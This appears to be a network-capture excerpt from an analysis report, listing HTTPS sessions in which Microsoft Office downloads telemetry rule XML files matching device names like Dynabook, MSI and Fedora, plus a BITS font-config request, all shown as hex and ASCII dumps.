<S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:37 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:38 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:38 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221238Z-1777c6cb754xrr98hC1TEB3kag0000000a500000000000qz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:38 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49765	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:39 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 22:12:39 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=239583 Date: Wed, 20 Nov 2024 22:12:39 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 22:12:39 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:39 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:39 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:39 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221239Z-178bfbc474bkvpdnhC1NYCuu2w00000000ng00000000q8ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:39 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:39 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:40 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:39 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221239Z-185f5d8b95crwqd8hC1NYCps680000000axg000000002wp0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:40 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:39 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221240Z-r1d97b99577brct2hC1TEBambg000000034000000000gv2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:39 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:40 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:40 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 3df03817-901e-00ac-1785-3bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221240Z-r1d97b99577kk29chC1TEBemmg00000009g000000000eepx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:40 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:40 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:40 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:40 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221240Z-178bfbc474b9fdhphC1NYCac0n00000000gg000000003at7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:40 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:41 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:42 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: f154d9af-001e-008d-2f63-3bd91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221242Z-178bfbc474bfw4gbhC1NYCunf400000000ng000000009ay7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:42 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:41 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:42 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:42 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221242Z-178bfbc474bxkclvhC1NYC69g400000000f00000000059v6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 22:12:42 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:41 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:42 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221242Z-1777c6cb754j8gqphC1TEB5bf800000009zg00000000zetv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:42 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:42 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:42 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5b8d3f05-a01e-006f-2465-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221242Z-178bfbc474bbbqrhhC1NYCvw7400000000ng000000017qzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:42 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:42 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:42 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: c4abe473-d01e-008e-4d67-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221242Z-178bfbc474bwlrhlhC1NYCy3kg00000000g000000000hz65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:42 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49788	94.245.104.56	443	5196	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
